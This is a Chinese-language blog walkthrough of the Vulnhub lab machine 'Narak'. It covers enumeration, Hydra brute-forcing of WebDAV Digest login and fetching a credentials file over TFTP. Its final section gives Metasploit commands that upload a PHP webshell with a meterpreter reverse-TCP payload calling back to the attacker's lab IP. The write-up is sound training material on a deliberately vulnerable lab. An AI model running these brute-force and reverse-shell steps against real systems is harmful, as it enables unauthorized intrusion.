17、narak

dreamer292

于 2024-08-28 19:40:06 发布

阅读量533

点赞数 13

分类专栏： vulnhub靶机训练文章标签：安全 web安全网络安全系统安全

本文链接：https://blog.csdn.net/qq_63855540/article/details/141648129

版权

vulnhub靶机训练专栏收录该内容

17 篇文章 0 订阅

订阅专栏

难度中

目标 root权限 2个flag

靶机启动环境为VMware，在virtualbox无法获得IP地址。

kali 192.168.152.56 靶机 192.168.152.59

信息收集

开启了两个端口，那么80端大概率就是突破口了

web测试

访问主页是一些神话图片

最下面有个不要点击的按钮，点击进去是一张图片

图片好像是在说点了这个图片进入了地狱然后又被判官带出来了。。。

同时扫描目录扫出一个登录框

是一个webdav，在网上搜索了一下发现是一个网络存储文件共享系统，WebDAV 基于 HTTP 协议的通信协议，在GET、POST、HEAD等几个HTTP标准方法以外添加了一些新的方法，使应用程序可对Web Server直接读写，并支持写文件锁定(Locking)及解锁(Unlock)，还可以支持文件的版本控制。

常用的文件共享有三种：FTP、Samba、WebDAV，它们各有优缺点，了解后才能更好地根据自己的需求选择方案。

也就是说这里可能有其他协议存在的服务，可能是ftp。

在靶机的页面作者提醒了我们说此靶机的关键是枚举，也许还有什么是没发现的线索

再次使用gobuster扫描一下

发现扫描出一个tips.txt

提示有个关键的creds.txt

但是尝试直接拼接此路径并没有发现这个文件出现。或许他被存储到了这个webdav里面。

我看网上的wp此时有两个思路，我认为都很好，都做一遍吧

思路一

既然webdav可以登录那么可以尝试进行爆破账号密码

我其实抓了个包但是好像不是常见的登录或者说是加了密，这realm不是密码，在网上搜索了一下是Digest 认证，response中由账号密码nonce 和其他参数通过特定算法计算得出的。。。

所以我一开始觉得爆破可能不太行，毕竟模仿不出来数据包，然后看wp中竟然可以使用hydra的http-get？？？

不过怎么说先复现一下，先使用cewl将页面的信息爬取下来，他会自动组合为一个字典确实挺有意思的

确实跑出了账号密码

然后我使用wireshark抓包看了一下数据包

真是这种请求方式，这是自动模仿的这种Digest 认证

难怪被称为最强的爆破神器，果然盛名之下无虚士

login: yamdoot password: Swarg

使用此账号密码成功登录

思路二

继续进行信息收集，因为webdav支持其他协议比如ftp,smb，tftp等，因为一开始我使用的-A参数默认使用的tcp的方式进行的探测那么这次就使用UDP协议去探测端口，确实有部分端口使用的UDP协议所以哦TCP协议去探测探测不出来的

可以看到有些断后open|filtered这个意思是不确定开没开放需要手动去确认一下

可以看到69端口tftp协议疑似开放，可以远程连接一下。tftp服务是简单文件传输协议，只能简单的上传和下载

tftp只能使用几个命令，比如get put quit有些高级一点的可以使用list,ls ,dir之类的查看一下目录

这里都不可以不过我们提前知道了有个creds.txt文件可以直接get下来

也是成功的拿到了creds.txt文件

第一个比较靠运气，第二个应该才是正常的做法。

突破边界

拿到了账号密码也是成功的登录webdav

接下来可以使用msf进行攻击，因为这个webdav是一个存储系统所以是可以上传文件的，这个可以上传webshell

use windows/http/xampp_webdav_upload_php

set payload php/meterpreter/reverse_tcp

set RHOST 192.168.152.59

set USERNAME yamdoot

set PASSWORD Swarg

set LHOST 192.168.152.56

run

只是我这里直接运行没有成功的反弹，不过文件倒是成功的上传了，需要重新开启一个监听器监听然后去访问一下上传的php文件才成功的反弹回来了